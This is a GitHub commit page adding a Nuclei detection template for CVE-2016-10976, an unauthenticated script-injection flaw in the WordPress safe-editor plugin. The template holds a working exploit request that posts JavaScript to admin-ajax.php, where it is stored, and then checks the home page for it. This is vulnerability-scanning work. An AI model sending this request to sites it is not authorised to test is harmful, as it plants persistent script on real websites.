Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
Splint3r7 committed Nov 7, 2024
1 parent 0b719c4 commit 6d29100
Showing 1 changed file with 50 additions and 0 deletions.
50 changes: 50 additions & 0 deletions http/cves/2016/CVE-2016-10976.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
id: CVE-2016-10976

info:
name: safe-editor <= 1.1 - Unauthenticated CSS/JS-injection
author: Splint3r7
severity: medium
description: When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page.
remediation: |
Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10976
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-10976
cwe-id: CWE-79
cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan
flow: http(1) && http(2)

http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=se_save&type=js&data=alert('XSS')
matchers:
- type: dsl
dsl:
- 'len(body) == 0'
- 'status_code == 200'

- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert('XSS')"

Check failure on line 47 in http/cves/2016/CVE-2016-10976.yaml

View workflow job for this annotation

GitHub Actions / lint

47:1 [trailing-spaces] trailing spaces
- type: status
status:
- 200

0 comments on commit 6d29100

Please sign in to comment.